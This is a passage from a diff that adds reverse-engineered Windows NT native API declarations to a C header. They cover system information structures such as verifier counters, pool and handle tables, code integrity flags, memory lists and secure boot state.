ProfileSourceDescription[0x1]; +} EVENT_TRACE_PROFILE_ADD_INFORMATION, *PEVENT_TRACE_PROFILE_ADD_INFORMATION; + +typedef struct _EVENT_TRACE_PROFILE_REMOVE_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + KPROFILE_SOURCE ProfileSource; + ULONG CpuInfoHierarchy[0x3]; +} EVENT_TRACE_PROFILE_REMOVE_INFORMATION, *PEVENT_TRACE_PROFILE_REMOVE_INFORMATION; + +typedef struct _EVENT_TRACE_COVERAGE_SAMPLER_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + BOOLEAN CoverageSamplerInformationClass; + UCHAR MajorVersion; + UCHAR MinorVersion; + UCHAR Reserved; + HANDLE SamplerHandle; +} EVENT_TRACE_COVERAGE_SAMPLER_INFORMATION, *PEVENT_TRACE_COVERAGE_SAMPLER_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION +{ + ULONG AlignmentFixupCount; + ULONG ExceptionDispatchCount; + ULONG FloatingEmulationCount; + ULONG ByteWordEmulationCount; +} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION +{ + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION +{ + ULONG ContextSwitches; + ULONG FindAny; + ULONG FindLast; + ULONG FindIdeal; + ULONG IdleAny; + ULONG IdleCurrent; + ULONG IdleLast; + ULONG IdleIdeal; + ULONG PreemptAny; + ULONG PreemptCurrent; + ULONG PreemptLast; + ULONG SwitchToIdle; +} SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION +{ + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + SIZE_T PagedPoolSize; +} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION +{ + ULONGLONG IdleTime; + ULONGLONG C1Time; + ULONGLONG C2Time; + ULONGLONG C3Time; + ULONG C1Transitions; + ULONG C2Transitions; + ULONG C3Transitions; + ULONG Padding; +} SYSTEM_PROCESSOR_IDLE_INFORMATION, *PSYSTEM_PROCESSOR_IDLE_INFORMATION; + +typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION +{ + ULONG VetoType; + UNICODE_STRING VetoList; +} SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION; + +typedef struct _SYSTEM_LOOKASIDE_INFORMATION +{ + USHORT CurrentDepth; + USHORT MaximumDepth; + ULONG TotalAllocates; + ULONG AllocateMisses; + ULONG TotalFrees; + ULONG FreeMisses; + ULONG Type; + ULONG Tag; + ULONG Size; +} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION; + +// private +typedef struct _SYSTEM_RANGE_START_INFORMATION +{ + PVOID SystemRangeStart; +} SYSTEM_RANGE_START_INFORMATION, *PSYSTEM_RANGE_START_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION_LEGACY // pre-19H1 +{ + ULONG NextEntryOffset; + ULONG Level; + UNICODE_STRING DriverName; + + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsAttempted; + + ULONG AllocationsSucceeded; + ULONG AllocationsSucceededSpecialPool; + ULONG AllocationsWithNoTag; + ULONG TrimRequests; + + ULONG Trims; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + ULONG Loads; + + ULONG Unloads; + ULONG UnTrackedPool; + ULONG CurrentPagedPoolAllocations; + ULONG CurrentNonPagedPoolAllocations; + + ULONG PeakPagedPoolAllocations; + ULONG PeakNonPagedPoolAllocations; + + SIZE_T PagedPoolUsageInBytes; + SIZE_T NonPagedPoolUsageInBytes; + SIZE_T PeakPagedPoolUsageInBytes; + SIZE_T PeakNonPagedPoolUsageInBytes; +} SYSTEM_VERIFIER_INFORMATION_LEGACY, *PSYSTEM_VERIFIER_INFORMATION_LEGACY; + +typedef struct _SYSTEM_VERIFIER_INFORMATION +{ + ULONG NextEntryOffset; + ULONG Level; + ULONG RuleClasses[2]; + ULONG TriageContext; + ULONG AreAllDriversBeingVerified; + + UNICODE_STRING DriverName; + + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsAttempted; + + ULONG AllocationsSucceeded; + ULONG AllocationsSucceededSpecialPool; + ULONG AllocationsWithNoTag; + ULONG TrimRequests; + + ULONG Trims; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + ULONG Loads; + + ULONG Unloads; + ULONG UnTrackedPool; + ULONG CurrentPagedPoolAllocations; + ULONG CurrentNonPagedPoolAllocations; + + ULONG PeakPagedPoolAllocations; + ULONG PeakNonPagedPoolAllocations; + + SIZE_T PagedPoolUsageInBytes; + SIZE_T NonPagedPoolUsageInBytes; + SIZE_T PeakPagedPoolUsageInBytes; + SIZE_T PeakNonPagedPoolUsageInBytes; +} SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION; + +typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION +{ + ULONG SessionId; + ULONG SizeOfBuf; + PVOID Buffer; +} SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION +{ + UCHAR CurrentFrequency; + UCHAR ThermalLimitFrequency; + UCHAR ConstantThrottleFrequency; + UCHAR DegradedThrottleFrequency; + UCHAR LastBusyFrequency; + UCHAR LastC3Frequency; + UCHAR LastAdjustedBusyFrequency; + UCHAR ProcessorMinThrottle; + UCHAR ProcessorMaxThrottle; + ULONG NumberOfFrequencies; + ULONG PromotionCount; + ULONG DemotionCount; + ULONG ErrorCount; + ULONG RetryCount; + ULONGLONG CurrentFrequencyTime; + ULONGLONG CurrentProcessorTime; + ULONGLONG CurrentProcessorIdleTime; + ULONGLONG LastProcessorTime; + ULONGLONG LastProcessorIdleTime; + ULONGLONG Energy; +} SYSTEM_PROCESSOR_POWER_INFORMATION, *PSYSTEM_PROCESSOR_POWER_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX +{ + PVOID Object; + ULONG_PTR UniqueProcessId; + ULONG_PTR HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX +{ + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; +} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; + +typedef struct _SYSTEM_BIGPOOL_ENTRY +{ + union + { + PVOID VirtualAddress; + ULONG_PTR NonPaged : 1; + }; + SIZE_T SizeInBytes; + union + { + UCHAR Tag[4]; + ULONG TagUlong; + }; +} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY; + +typedef struct _SYSTEM_BIGPOOL_INFORMATION +{ + ULONG Count; + SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1]; +} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION; + +typedef struct _SYSTEM_POOL_ENTRY +{ + BOOLEAN Allocated; + BOOLEAN Spare0; + USHORT AllocatorBackTraceIndex; + ULONG Size; + union + { + UCHAR Tag[4]; + ULONG TagUlong; + PVOID ProcessChargedQuota; + }; +} SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY; + +typedef struct _SYSTEM_POOL_INFORMATION +{ + SIZE_T TotalSize; + PVOID FirstEntry; + USHORT EntryOverhead; + BOOLEAN PoolTagPresent; + BOOLEAN Spare0; + ULONG NumberOfEntries; + SYSTEM_POOL_ENTRY Entries[1]; +} SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION; + +typedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION +{ + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG Count; + SYSTEM_POOLTAG TagInfo[1]; +} SYSTEM_SESSION_POOLTAG_INFORMATION, *PSYSTEM_SESSION_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION +{ + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG ViewFailures; + SIZE_T NumberOfBytesAvailable; + SIZE_T NumberOfBytesAvailableContiguous; +} SYSTEM_SESSION_MAPPED_VIEW_INFORMATION, *PSYSTEM_SESSION_MAPPED_VIEW_INFORMATION; + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +// private +typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION +{ + SystemFirmwareTableEnumerate, + SystemFirmwareTableGet, + SystemFirmwareTableMax +} SYSTEM_FIRMWARE_TABLE_ACTION; + +// private +typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION +{ + ULONG ProviderSignature; // (same as the GetSystemFirmwareTable function) + SYSTEM_FIRMWARE_TABLE_ACTION Action; + ULONG TableID; + ULONG TableBufferLength; + UCHAR TableBuffer[1]; +} SYSTEM_FIRMWARE_TABLE_INFORMATION, *PSYSTEM_FIRMWARE_TABLE_INFORMATION; +#endif + +// private +typedef struct _SYSTEM_MEMORY_LIST_INFORMATION +{ + ULONG_PTR ZeroPageCount; + ULONG_PTR FreePageCount; + ULONG_PTR ModifiedPageCount; + ULONG_PTR ModifiedNoWritePageCount; + ULONG_PTR BadPageCount; + ULONG_PTR PageCountByPriority[8]; + ULONG_PTR RepurposedPagesByPriority[8]; + ULONG_PTR ModifiedPageCountPageFile; +} SYSTEM_MEMORY_LIST_INFORMATION, *PSYSTEM_MEMORY_LIST_INFORMATION; + +// private +typedef enum _SYSTEM_MEMORY_LIST_COMMAND +{ + MemoryCaptureAccessedBits, + MemoryCaptureAndResetAccessedBits, + MemoryEmptyWorkingSets, + MemoryFlushModifiedList, + MemoryPurgeStandbyList, + MemoryPurgeLowPriorityStandbyList, + MemoryCommandMax +} SYSTEM_MEMORY_LIST_COMMAND; + +// private +typedef struct _SYSTEM_THREAD_CID_PRIORITY_INFORMATION +{ + CLIENT_ID ClientId; + KPRIORITY Priority; +} SYSTEM_THREAD_CID_PRIORITY_INFORMATION, *PSYSTEM_THREAD_CID_PRIORITY_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION +{ + ULONGLONG CycleTime; +} SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION, *PSYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION; + +// private +typedef struct _SYSTEM_REF_TRACE_INFORMATION +{ + BOOLEAN TraceEnable; + BOOLEAN TracePermanent; + UNICODE_STRING TraceProcessName; + UNICODE_STRING TracePoolTags; +} SYSTEM_REF_TRACE_INFORMATION, *PSYSTEM_REF_TRACE_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESS_ID_INFORMATION +{ + HANDLE ProcessId; + UNICODE_STRING ImageName; +} SYSTEM_PROCESS_ID_INFORMATION, *PSYSTEM_PROCESS_ID_INFORMATION; + +// private +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION +{ + GUID BootIdentifier; + FIRMWARE_TYPE FirmwareType; + union + { + ULONGLONG BootFlags; + struct + { + ULONGLONG DbgMenuOsSelection : 1; // REDSTONE4 + ULONGLONG DbgHiberBoot : 1; + ULONGLONG DbgSoftBoot : 1; + ULONGLONG DbgMeasuredLaunch : 1; + ULONGLONG DbgMeasuredLaunchCapable : 1; // 19H1 + ULONGLONG DbgSystemHiveReplace : 1; + ULONGLONG DbgMeasuredLaunchSmmProtections : 1; + }; + }; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION; + +// private +typedef struct _SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION +{ + ULONG FlagsToEnable; + ULONG FlagsToDisable; +} SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION, *PSYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION; + +// private +typedef struct _SYSTEM_VERIFIER_INFORMATION_EX +{ + ULONG VerifyMode; + ULONG OptionChanges; + UNICODE_STRING PreviousBucketName; + ULONG IrpCancelTimeoutMsec; + ULONG VerifierExtensionEnabled; +#ifdef _WIN64 + ULONG Reserved[1]; +#else + ULONG Reserved[3]; +#endif +} SYSTEM_VERIFIER_INFORMATION_EX, *PSYSTEM_VERIFIER_INFORMATION_EX; + +// private +typedef struct _SYSTEM_SYSTEM_PARTITION_INFORMATION +{ + UNICODE_STRING SystemPartition; +} SYSTEM_SYSTEM_PARTITION_INFORMATION, *PSYSTEM_SYSTEM_PARTITION_INFORMATION; + +// private +typedef struct _SYSTEM_SYSTEM_DISK_INFORMATION +{ + UNICODE_STRING SystemDisk; +} SYSTEM_SYSTEM_DISK_INFORMATION, *PSYSTEM_SYSTEM_DISK_INFORMATION; + +// private (Windows 8.1 and above) +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT +{ + ULONGLONG Hits; + UCHAR PercentFrequency; +} SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT, *PSYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT; + +// private (Windows 7 and Windows 8) +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT_WIN8 +{ + ULONG Hits; + UCHAR PercentFrequency; +} SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT_WIN8, *PSYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT_WIN8; + +// private +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_STATE_DISTRIBUTION +{ + ULONG ProcessorNumber; + ULONG StateCount; + SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT States[1]; +} SYSTEM_PROCESSOR_PERFORMANCE_STATE_DISTRIBUTION, *PSYSTEM_PROCESSOR_PERFORMANCE_STATE_DISTRIBUTION; + +// private +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION +{ + ULONG ProcessorCount; + ULONG Offsets[1]; +} SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION, *PSYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION; + +#define CODEINTEGRITY_OPTION_ENABLED 0x01 +#define CODEINTEGRITY_OPTION_TESTSIGN 0x02 +#define CODEINTEGRITY_OPTION_UMCI_ENABLED 0x04 +#define CODEINTEGRITY_OPTION_UMCI_AUDITMODE_ENABLED 0x08 +#define CODEINTEGRITY_OPTION_UMCI_EXCLUSIONPATHS_ENABLED 0x10 +#define CODEINTEGRITY_OPTION_TEST_BUILD 0x20 +#define CODEINTEGRITY_OPTION_PREPRODUCTION_BUILD 0x40 +#define CODEINTEGRITY_OPTION_DEBUGMODE_ENABLED 0x80 +#define CODEINTEGRITY_OPTION_FLIGHT_BUILD 0x100 +#define CODEINTEGRITY_OPTION_FLIGHTING_ENABLED 0x200 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED 0x400 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_AUDITMODE_ENABLED 0x800 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_STRICTMODE_ENABLED 0x1000 +#define CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED 0x2000 + +// private +typedef struct _SYSTEM_CODEINTEGRITY_INFORMATION +{ + ULONG Length; + ULONG CodeIntegrityOptions; +} SYSTEM_CODEINTEGRITY_INFORMATION, *PSYSTEM_CODEINTEGRITY_INFORMATION; + +// private +typedef enum _SYSTEM_VA_TYPE +{ + SystemVaTypeAll, + SystemVaTypeNonPagedPool, + SystemVaTypePagedPool, + SystemVaTypeSystemCache, + SystemVaTypeSystemPtes, + SystemVaTypeSessionSpace, + SystemVaTypeMax +} SYSTEM_VA_TYPE, *PSYSTEM_VA_TYPE; + +// private +typedef struct _SYSTEM_VA_LIST_INFORMATION +{ + SIZE_T VirtualSize; + SIZE_T VirtualPeak; + SIZE_T VirtualLimit; + SIZE_T AllocationFailures; +} SYSTEM_VA_LIST_INFORMATION, *PSYSTEM_VA_LIST_INFORMATION; + +// rev +typedef enum _SYSTEM_STORE_INFORMATION_CLASS +{ + SystemStoreCompressionInformation = 22 // q: SYSTEM_STORE_COMPRESSION_INFORMATION +} SYSTEM_STORE_INFORMATION_CLASS; + +// rev +#define SYSTEM_STORE_INFORMATION_VERSION 1 + +// rev +typedef struct _SYSTEM_STORE_INFORMATION +{ + _In_ ULONG Version; + _In_ SYSTEM_STORE_INFORMATION_CLASS StoreInformationClass; + _Inout_ PVOID Data; + _Inout_ ULONG Length; +} SYSTEM_STORE_INFORMATION, *PSYSTEM_STORE_INFORMATION; + +// rev +#define SYSTEM_STORE_COMPRESSION_INFORMATION_VERSION 3 + +// rev +typedef struct _SYSTEM_STORE_COMPRESSION_INFORMATION +{ + ULONG Version; + ULONG CompressionPid; + ULONGLONG CompressionWorkingSetSize; + ULONGLONG CompressSize; + ULONGLONG CompressedSize; + ULONGLONG NonCompressedSize; +} SYSTEM_STORE_COMPRESSION_INFORMATION, *PSYSTEM_STORE_COMPRESSION_INFORMATION; + +// private +typedef struct _SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS +{ + HANDLE KeyHandle; + PUNICODE_STRING ValueNamePointer; + PULONG RequiredLengthPointer; + PUCHAR Buffer; + ULONG BufferLength; + ULONG Type; + PUCHAR AppendBuffer; + ULONG AppendBufferLength; + BOOLEAN CreateIfDoesntExist; + BOOLEAN TruncateExistingValue; +} SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS, *PSYSTEM_REGISTRY_APPEND_STRING_PARAMETERS; + +// msdn +typedef struct _SYSTEM_VHD_BOOT_INFORMATION +{ + BOOLEAN OsDiskIsVhd; + ULONG OsVhdFilePathOffset; + WCHAR OsVhdParentVolume[ANYSIZE_ARRAY]; +} SYSTEM_VHD_BOOT_INFORMATION, *PSYSTEM_VHD_BOOT_INFORMATION; + +// private +typedef struct _SYSTEM_LOW_PRIORITY_IO_INFORMATION +{ + ULONG LowPriReadOperations; + ULONG LowPriWriteOperations; + ULONG KernelBumpedToNormalOperations; + ULONG LowPriPagingReadOperations; + ULONG KernelPagingReadsBumpedToNormal; + ULONG LowPriPagingWriteOperations; + ULONG KernelPagingWritesBumpedToNormal; + ULONG BoostedIrpCount; + ULONG BoostedPagingIrpCount; + ULONG BlanketBoostCount; +} SYSTEM_LOW_PRIORITY_IO_INFORMATION, *PSYSTEM_LOW_PRIORITY_IO_INFORMATION; + +// symbols +typedef enum _TPM_BOOT_ENTROPY_RESULT_CODE +{ + TpmBootEntropyStructureUninitialized, + TpmBootEntropyDisabledByPolicy, + TpmBootEntropyNoTpmFound, + TpmBootEntropyTpmError, + TpmBootEntropySuccess +} TPM_BOOT_ENTROPY_RESULT_CODE; + +// Contents of KeLoaderBlock->Extension->TpmBootEntropyResult (TPM_BOOT_ENTROPY_LDR_RESULT). +// EntropyData is truncated to 40 bytes. + +// private +typedef struct _TPM_BOOT_ENTROPY_NT_RESULT +{ + ULONGLONG Policy; + TPM_BOOT_ENTROPY_RESULT_CODE ResultCode; + NTSTATUS ResultStatus; + ULONGLONG Time; + ULONG EntropyLength; + UCHAR EntropyData[40]; +} TPM_BOOT_ENTROPY_NT_RESULT, *PTPM_BOOT_ENTROPY_NT_RESULT; + +// private +typedef struct _SYSTEM_VERIFIER_COUNTERS_INFORMATION +{ + SYSTEM_VERIFIER_INFORMATION Legacy; + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsWithNoTag; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + SIZE_T LockedBytes; + SIZE_T PeakLockedBytes; + SIZE_T MappedLockedBytes; + SIZE_T PeakMappedLockedBytes; + SIZE_T MappedIoSpaceBytes; + SIZE_T PeakMappedIoSpaceBytes; + SIZE_T PagesForMdlBytes; + SIZE_T PeakPagesForMdlBytes; + SIZE_T ContiguousMemoryBytes; + SIZE_T PeakContiguousMemoryBytes; + ULONG ExecutePoolTypes; // REDSTONE2 + ULONG ExecutePageProtections; + ULONG ExecutePageMappings; + ULONG ExecuteWriteSections; + ULONG SectionAlignmentFailures; + ULONG UnsupportedRelocs; + ULONG IATInExecutableSection; +} SYSTEM_VERIFIER_COUNTERS_INFORMATION, *PSYSTEM_VERIFIER_COUNTERS_INFORMATION; + +// private +typedef struct _SYSTEM_ACPI_AUDIT_INFORMATION +{ + ULONG RsdpCount; + ULONG SameRsdt : 1; + ULONG SlicPresent : 1; + ULONG SlicDifferent : 1; +} SYSTEM_ACPI_AUDIT_INFORMATION, *PSYSTEM_ACPI_AUDIT_INFORMATION; + +// private +typedef struct _SYSTEM_BASIC_PERFORMANCE_INFORMATION +{ + SIZE_T AvailablePages; + SIZE_T CommittedPages; + SIZE_T CommitLimit; + SIZE_T PeakCommitment; +} SYSTEM_BASIC_PERFORMANCE_INFORMATION, *PSYSTEM_BASIC_PERFORMANCE_INFORMATION; + +// begin_msdn + +typedef struct _QUERY_PERFORMANCE_COUNTER_FLAGS +{ + union + { + struct + { + ULONG KernelTransition : 1; + ULONG Reserved : 31; + }; + ULONG ul; + }; +} QUERY_PERFORMANCE_COUNTER_FLAGS; + +typedef struct _SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION +{ + ULONG Version; + QUERY_PERFORMANCE_COUNTER_FLAGS Flags; + QUERY_PERFORMANCE_COUNTER_FLAGS ValidFlags; +} SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION, *PSYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION; + +// end_msdn + +// private +typedef enum _SYSTEM_PIXEL_FORMAT +{ + SystemPixelFormatUnknown, + SystemPixelFormatR8G8B8, + SystemPixelFormatR8G8B8X8, + SystemPixelFormatB8G8R8, + SystemPixelFormatB8G8R8X8 +} SYSTEM_PIXEL_FORMAT; + +// private +typedef struct _SYSTEM_BOOT_GRAPHICS_INFORMATION +{ + LARGE_INTEGER FrameBuffer; + ULONG Width; + ULONG Height; + ULONG PixelStride; + ULONG Flags; + SYSTEM_PIXEL_FORMAT Format; + ULONG DisplayRotation; +} SYSTEM_BOOT_GRAPHICS_INFORMATION, *PSYSTEM_BOOT_GRAPHICS_INFORMATION; + +// private +typedef struct _MEMORY_SCRUB_INFORMATION +{ + HANDLE Handle; + ULONG PagesScrubbed; +} MEMORY_SCRUB_INFORMATION, *PMEMORY_SCRUB_INFORMATION; + +// private +typedef struct _PEBS_DS_SAVE_AREA32 +{ + ULONG BtsBufferBase; + ULONG BtsIndex; + ULONG BtsAbsoluteMaximum; + ULONG BtsInterruptThreshold; + ULONG PebsBufferBase; + ULONG PebsIndex; + ULONG PebsAbsoluteMaximum; + ULONG PebsInterruptThreshold; + ULONG PebsGpCounterReset[8]; + ULONG PebsFixedCounterReset[4]; +} PEBS_DS_SAVE_AREA32, *PPEBS_DS_SAVE_AREA32; + +// private +typedef struct _PEBS_DS_SAVE_AREA64 +{ + ULONGLONG BtsBufferBase; + ULONGLONG BtsIndex; + ULONGLONG BtsAbsoluteMaximum; + ULONGLONG BtsInterruptThreshold; + ULONGLONG PebsBufferBase; + ULONGLONG PebsIndex; + ULONGLONG PebsAbsoluteMaximum; + ULONGLONG PebsInterruptThreshold; + ULONGLONG PebsGpCounterReset[8]; + ULONGLONG PebsFixedCounterReset[4]; +} PEBS_DS_SAVE_AREA64, *PPEBS_DS_SAVE_AREA64; + +// private +typedef union _PEBS_DS_SAVE_AREA +{ + PEBS_DS_SAVE_AREA32 As32Bit; + PEBS_DS_SAVE_AREA64 As64Bit; +} PEBS_DS_SAVE_AREA, *PPEBS_DS_SAVE_AREA; + +// private +typedef struct _PROCESSOR_PROFILE_CONTROL_AREA +{ + PEBS_DS_SAVE_AREA PebsDsSaveArea; +} PROCESSOR_PROFILE_CONTROL_AREA, *PPROCESSOR_PROFILE_CONTROL_AREA; + +// private +typedef struct _SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA +{ + PROCESSOR_PROFILE_CONTROL_AREA ProcessorProfileControlArea; + BOOLEAN Allocate; +} SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA, *PSYSTEM_PROCESSOR_PROFILE_CONTROL_AREA; + +// private +typedef struct _MEMORY_COMBINE_INFORMATION +{ + HANDLE Handle; + ULONG_PTR PagesCombined; +} MEMORY_COMBINE_INFORMATION, *PMEMORY_COMBINE_INFORMATION; + +// rev +#define MEMORY_COMBINE_FLAGS_COMMON_PAGES_ONLY 0x4 + +// private +typedef struct _MEMORY_COMBINE_INFORMATION_EX +{ + HANDLE Handle; + ULONG_PTR PagesCombined; + ULONG Flags; +} MEMORY_COMBINE_INFORMATION_EX, *PMEMORY_COMBINE_INFORMATION_EX; + +// private +typedef struct _MEMORY_COMBINE_INFORMATION_EX2 +{ + HANDLE Handle; + ULONG_PTR PagesCombined; + ULONG Flags; + HANDLE ProcessHandle; +} MEMORY_COMBINE_INFORMATION_EX2, *PMEMORY_COMBINE_INFORMATION_EX2; + +// private +typedef struct _SYSTEM_CONSOLE_INFORMATION +{ + ULONG DriverLoaded : 1; + ULONG Spare : 31; +} SYSTEM_CONSOLE_INFORMATION, *PSYSTEM_CONSOLE_INFORMATION; + +// private +typedef struct _SYSTEM_PLATFORM_BINARY_INFORMATION +{ + ULONG64 PhysicalAddress; + PVOID HandoffBuffer; + PVOID CommandLineBuffer; + ULONG HandoffBufferSize; + ULONG CommandLineBufferSize; +} SYSTEM_PLATFORM_BINARY_INFORMATION, *PSYSTEM_PLATFORM_BINARY_INFORMATION; + +// private +typedef struct _SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION +{ + ULONG NumberOfLogicalProcessors; + ULONG NumberOfCores; +} SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION, *PSYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION; + +// private +typedef struct _SYSTEM_DEVICE_DATA_INFORMATION +{ + UNICODE_STRING DeviceId; + UNICODE_STRING DataName; + ULONG DataType; + ULONG DataBufferLength; + PVOID DataBuffer; +} SYSTEM_DEVICE_DATA_INFORMATION, *PSYSTEM_DEVICE_DATA_INFORMATION; + +// private +typedef struct _PHYSICAL_CHANNEL_RUN +{ + ULONG NodeNumber; + ULONG ChannelNumber; + ULONGLONG BasePage; + ULONGLONG PageCount; + ULONG Flags; +} PHYSICAL_CHANNEL_RUN, *PPHYSICAL_CHANNEL_RUN; + +// private +typedef struct _SYSTEM_MEMORY_TOPOLOGY_INFORMATION +{ + ULONGLONG NumberOfRuns; + ULONG NumberOfNodes; + ULONG NumberOfChannels; + PHYSICAL_CHANNEL_RUN Run[1]; +} SYSTEM_MEMORY_TOPOLOGY_INFORMATION, *PSYSTEM_MEMORY_TOPOLOGY_INFORMATION; + +// private +typedef struct _SYSTEM_MEMORY_CHANNEL_INFORMATION +{ + ULONG ChannelNumber; + ULONG ChannelHeatIndex; + ULONGLONG TotalPageCount; + ULONGLONG ZeroPageCount; + ULONGLONG FreePageCount; + ULONGLONG StandbyPageCount; +} SYSTEM_MEMORY_CHANNEL_INFORMATION, *PSYSTEM_MEMORY_CHANNEL_INFORMATION; + +// private +typedef struct _SYSTEM_BOOT_LOGO_INFORMATION +{ + ULONG Flags; + ULONG BitmapOffset; +} SYSTEM_BOOT_LOGO_INFORMATION, *PSYSTEM_BOOT_LOGO_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX +{ + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; + LARGE_INTEGER InterruptTime; + ULONG InterruptCount; + ULONG Spare0; + LARGE_INTEGER AvailableTime; + LARGE_INTEGER Spare1; + LARGE_INTEGER Spare2; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX; + +// private +typedef struct _SYSTEM_SECUREBOOT_POLICY_INFORMATION +{ + GUID PolicyPublisher; + ULONG PolicyVersion; + ULONG PolicyOptions; +} SYSTEM_SECUREBOOT_POLICY_INFORMATION, *PSYSTEM_SECUREBOOT_POLICY_INFORMATION; + +// private +typedef struct _SYSTEM_PAGEFILE_INFORMATION_EX +{ + union // HACK union declaration for convenience (dmex) + { + SYSTEM_PAGEFILE_INFORMATION Info; + struct + { + ULONG NextEntryOffset; + ULONG TotalSize; + ULONG TotalInUse; + ULONG PeakUsage; + UNICODE_STRING PageFileName; + }; + }; + + ULONG MinimumSize; + ULONG MaximumSize; +} SYSTEM_PAGEFILE_INFORMATION_EX, *PSYSTEM_PAGEFILE_INFORMATION_EX; + +// private +typedef struct _SYSTEM_SECUREBOOT_INFORMATION +{ + BOOLEAN SecureBootEnabled; + BOOLEAN SecureBootCapable; +} SYSTEM_SECUREBOOT_INFORMATION, *PSYSTEM_SECUREBOOT_INFORMATION; 